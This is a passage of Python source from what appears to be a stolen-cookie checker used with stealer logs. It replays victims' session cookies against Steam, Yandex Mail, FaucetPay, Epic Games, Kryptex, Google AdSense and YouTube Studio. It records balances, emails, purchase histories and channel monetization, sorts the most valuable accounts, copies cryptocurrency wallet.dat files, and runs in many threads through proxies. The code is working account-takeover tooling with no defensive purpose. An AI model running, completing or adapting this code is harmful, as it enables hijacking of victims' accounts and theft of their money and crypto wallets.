1566 save_results('Steam', 'Steam.txt', f"PROFILE URL - {profile_url} || BALANCE - {balance}\n\nINVENTORY:\n{inventory_text}\nMail:{mail}\nCS:GO inventory price:{price}\nGuard:{guard}\nCookie:{cookie_name}\n{'=============================='}")
1567 if settings['settings']['save_steam_logs'] == 1:
1568 save_logs('Steam', cookie_name, f"PROFILE URL - {profile_url} || BALANCE - {balance}\n\nINVENTORY:\n{inventory_text}\nMail:{mail}\nCS:GO inventory price:{price}\nGuard:{guard}\nCookie:{cookie_name}")
1569 except Exception as err:
1570 try:
1571 pass
1572 finally:
1573 err = None
1574 del err
1575
1576
1577def yandex_messages(cookie_name, settings):
1578 cookie = net_to_cookie(cookie_name, 'yandex.ru')
1579 if len(cookie) > 1:
1580 try:
1581 query = settings['other']['yandex_query'].split(',')
1582 for i in query:
1583 r = conn((requests.get), f"https://mail.yandex.ru/lite/search?request={i}", cookies=cookie)
1584 soup = bs(r.text, 'html.parser')
1585 messages = soup.find_all('div', attrs={'class': 'b-messages__message b-messages__message_unread'})
1586 if len(messages) >= 1:
1587 folder_name = get_path(cookie_name).split('\\')[1]
1588 try:
1589 save_logs(f"yandex_ru\\{i}", cookie_name, f"Query:{i} || Messages found : {len(messages)}\nCookie:{cookie_name}")
1590 except:
1591 pass
1592
1593 os.rename(f"yandex_ru\\{i}\\{folder_name}", f"yandex_ru\\{i}\\{len(messages)}_{i}_{random.randint(1, 100000000)}")
1594
1595 except:
1596 pass
1597
1598
1599def check_faucetpay(cookie_name, settings):
1600 try:
1601 cookie = net_to_cookie(cookie_name, 'faucetpay')
1602 except Exception as err:
1603 try:
1604 cookie = {}
1605 finally:
1606 err = None
1607 del err
1608
1609 if len(cookie) > 1:
1610 try:
1611 r = conn((requests.get), 'https://faucetpay.io/page/user-admin', cookies=cookie)
1612 soup = bs(r.text, 'html.parser')
1613 balance = soup.find_all('div', attrs={'class': 'media-body'})
1614 for i in balance:
1615 if 'Wallet Estimate' in i.text:
1616 balance = i.text
1617
1618 if balance:
1619 print(f"Faucetpay {balance}")
1620 text_to_insert = f"{balance}\nCookie:{cookie_name}\n\n"
1621 save_results('Faucetpay', f"{balance}_{random.randint(1, 100000)}.txt", text_to_insert)
1622 if settings['settings']['save_faucetpay_logs'] == 1:
1623 save_logs('Faucetpay', cookie_name, text_to_insert)
1624 except Exception as err:
1625 try:
1626 pass
1627 finally:
1628 err = None
1629 del err
1630
1631
1632def check_epic(cookie_name, settings):
1633 try:
1634 cookie = net_to_cookie(cookie_name, 'epicgames')
1635 except:
1636 cookie = {}
1637
1638 if len(cookie) > 1:
1639 try:
1640 xsrf = cookie['XSRF-AM-TOKEN']
1641 headers = {'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36', 'x-xsrf-token':xsrf,
1642 'x-requested-with':'XMLHttpRequest'}
1643 r = conn((requests.get), 'https://www.epicgames.com/account/v2/payment/ajaxGetOrderHistory?locale=ru', cookies=cookie, headers=headers)
1644 data = r.json()
1645 orders_count = len(data['orders'])
1646 r = conn((requests.get), 'https://www.epicgames.com/account/v2/api/email/info', cookies=cookie, headers=headers)
1647 data = r.json()
1648 canUpdateMail = data['data']['canUpdateEmail']
1649 mail = data['data']['default']['email']
1650 text_to_insert = f"Orders: {orders_count}\nMail: {mail}\nCanUpdateMail: {canUpdateMail}\nCookie:{cookie_name}\n\n"
1651 save_results('EpicGames', 'Epicgames.txt', text_to_insert)
1652 if settings['settings']['save_epic_logs'] == 1:
1653 save_logs('EpicGames', cookie_name, text_to_insert)
1654 except Exception as err:
1655 try:
1656 pass
1657 finally:
1658 err = None
1659 del err
1660
1661
1662def check_kryptex(cookie_name, settings):
1663 try:
1664 cookie = net_to_cookie(cookie_name, 'kryptex')
1665 except:
1666 cookie = {}
1667
1668 if len(cookie) > 1:
1669 try:
1670 r = conn((requests.get), 'https://www.kryptex.org/site/dashboard', cookies=cookie)
1671 soup = bs(r.text, 'html.parser')
1672 balance = soup.find('h3', attrs={'class': 'h1 line-normal mb-0'}).text
1673 print(f"Kryptex account: Total balance: {balance}")
1674 text_to_insert = f"Total balance: {balance}\nCookie:{cookie_name}"
1675 save_results('Kryptex', f"{balance}_{random.randint(1, 100000)}.txt", text_to_insert)
1676 if settings['settings']['save_kryptex_logs'] == 1:
1677 save_logs('Kryptex', cookie_name, text_to_insert)
1678 except Exception as err:
1679 try:
1680 pass
1681 finally:
1682 err = None
1683 del err
1684
1685
1686def find_wallets():
1687 if not os.path.exists('walletdats'):
1688 os.mkdir('walletdats')
1689 for i in files_reader('wallets'):
1690 try:
1691 if 'wallet.dat' in i:
1692 shutil.copyfile(i, f"walletdats\\wallet{random.randint(1, 1000000)}.dat")
1693 except:
1694 continue
1695
1696
1697def check_google_ads(cookie_name, settings):
1698 try:
1699 cookie = net_to_cookie(cookie_name, 'google')
1700 except:
1701 cookie = {}
1702
1703 if len(cookie) > 1:
1704 try:
1705 r = conn((requests.get), 'https://www.google.com/adsense/new/u/0/pub-8875685132518774/home', cookies=cookie)
1706 print(r.text)
1707 with open('f.html', 'w', encoding='utf-8') as (f):
1708 f.write(r.text)
1709 except Exception as err:
1710 try:
1711 pass
1712 finally:
1713 err = None
1714 del err
1715
1716
1717def check_youtube(cookie_name, settings):
1718 youtbe_part_one = "['id-0'].resolve("
1719 cookie = net_to_cookie(cookie_name, 'youtube')
1720 if len(cookie) > 1:
1721 try:
1722 session = requests.Session()
1723 r = conn((session.get), 'https://studio.youtube.com/channel/?approve_browser_access=1', cookies=cookie)
1724 if '<div class="yt-dialog hid " id="create-channel-identity-lb">' not in r.text:
1725 html = r.text.split(youtbe_part_one)[1]
1726 html = html.split(');')[0]
1727 data = json.loads(html)
1728 url = f"https://www.youtube.com/channel/{data['channelId']}"
1729 subscribers = data['metric'][(f"{url_settings['local']['youtube']}")]
1730 totalVideoViewCount = data['metric']['totalVideoViewCount']
1731 isNameVerified = data['isNameVerified']
1732 isMonetized = data['isMonetized']
1733 channel_name = data['title']
1734 if int(subscribers) >= settings['filters']['youtube_min_subs'] and int(subscribers) <= settings['filters']['youtube_max_subs']:
1735 print(f"Channel URL - {url}\nChannel_name - {channel_name}\nMonetized - {isMonetized}\nVerified - {isNameVerified}\nTotalVideoViews - {totalVideoViewCount}\nSubs - {subscribers}\nCookie:{cookie_name}")
1736 now = DT.datetime.now(DT.timezone.utc).astimezone()
1737 time_format = '%H:%M:%S'
1738 if not os.path.exists('Youtube'):
1739 os.mkdir('Youtube')
1740 else:
1741 if int(subscribers) >= int(settings['save_filters']['yt_min_subs']):
1742 if isMonetized == True:
1743 path_to_save = 'Youtube\\Monetized'
1744 else:
1745 path_to_save = f"Youtube\\Youtube_{settings['save_filters']['yt_min_subs']}+"
1746 save_results(path_to_save, f"{subscribers}подписчиков_{now:{time_format.replace(':', '-')}}.txt", f"Channel URL - {url}\n Channel_name - {channel_name}\nMonetized - {isMonetized}\nVerified - {isNameVerified}\nTotalVideoViews - {totalVideoViewCount}\nSubs - {subscribers}\nCookie:{cookie_name}")
1747 save_logs(path_to_save, cookie_name, f"Channel_name - {channel_name}\nMonetized - {isMonetized}\nVerified - {isNameVerified}\nTotalVideoViews - {totalVideoViewCount}\nSubs - {subscribers}\nCookie:{cookie_name}")
1748 else:
1749 path_to_save = 'Youtube'
1750 if isMonetized == True:
1751 path_to_save = 'Youtube\\Monetized'
1752 else:
1753 path_to_save = 'Youtube'
1754 save_results(path_to_save, f"{subscribers}подписчиков_{now:{time_format.replace(':', '-')}}.txt", f"Channel_name - {channel_name}\nMonetized - {isMonetized}\nVerified - {isNameVerified}\nTotalVideoViews - {totalVideoViewCount}\nSubs - {subscribers}\nCookie:{cookie_name}")
1755 if settings['settings']['save_yt_logs'] == 1:
1756 save_logs(path_to_save, cookie_name, f"Channel_name - {channel_name}\nMonetized - {isMonetized}\nVerified - {isNameVerified}\nTotalVideoViews - {totalVideoViewCount}\nSubs - {subscribers}\nCookie:{cookie_name}")
1757 if settings['settings']['save_yt_cookies'] == 1:
1758 save_cookies_yt('YT_Cookies', cookie_name, channel_name, subscribers)
1759 else:
1760 print('Found YT cookie without channel')
1761 save_cookies_yt('Yt_Cookies_NoChannel', cookie_name, 'No channel', '-')
1762 except Exception as err:
1763 try:
1764 pass
1765 finally:
1766 err = None
1767 del err
1768
1769
1770def info_r(all_cooks):
1771 while True:
1772 print(f"Checked: {checked} / {len(all_cooks)} FILES")
1773 time.sleep(10)
1774
1775
1776url_settings = download_info(a)
1777settings = get_settings_from_file()
1778COOKIE_TYPE = input('Выберите ваш тип кук: 1 - NetScape | 2 - JSON\n')
1779flag = '2'
1780all_cooks = files_reader(flag)
1781print(len(all_cooks))
1782proxy_mode = int(input('choose proxy type (0 - без прокси, 1 - socks4, 2 - socks5, 3 - http(s)):\n'))
1783if proxy_mode == 1:
1784 proxy_mode = 'socks4'
1785else:
1786 if proxy_mode == 2:
1787 proxy_mode = 'socks5'
1788 else:
1789 if proxy_mode == 3:
1790 proxy_mode = 'http'
1791 else:
1792 proxy_mode = 0
1793if proxy_mode != 0:
1794 get_proxies_from_file(input('write filename with proxy: '))
1795THR = int(input('ВВедите кол-во потоков: '))
1796if settings['services']['WALLET.DAT'] == 1:
1797 try:
1798 find_wallets()
1799 except:
1800 pass
1801
1802threads = len(all_cooks) // THR
1803start = 0
1804end = threads
1805for i in range(0, THR):
1806 threading.Thread(target=check_all, args=(all_cooks, start, end, settings)).start()
1807 if i != THR - 1:
1808 start += threads
1809 end += threads
1810
1811threading.Thread(target=check_all, args=(all_cooks, end, len(all_cooks), settings)).start()
1812info_r(all_cooks)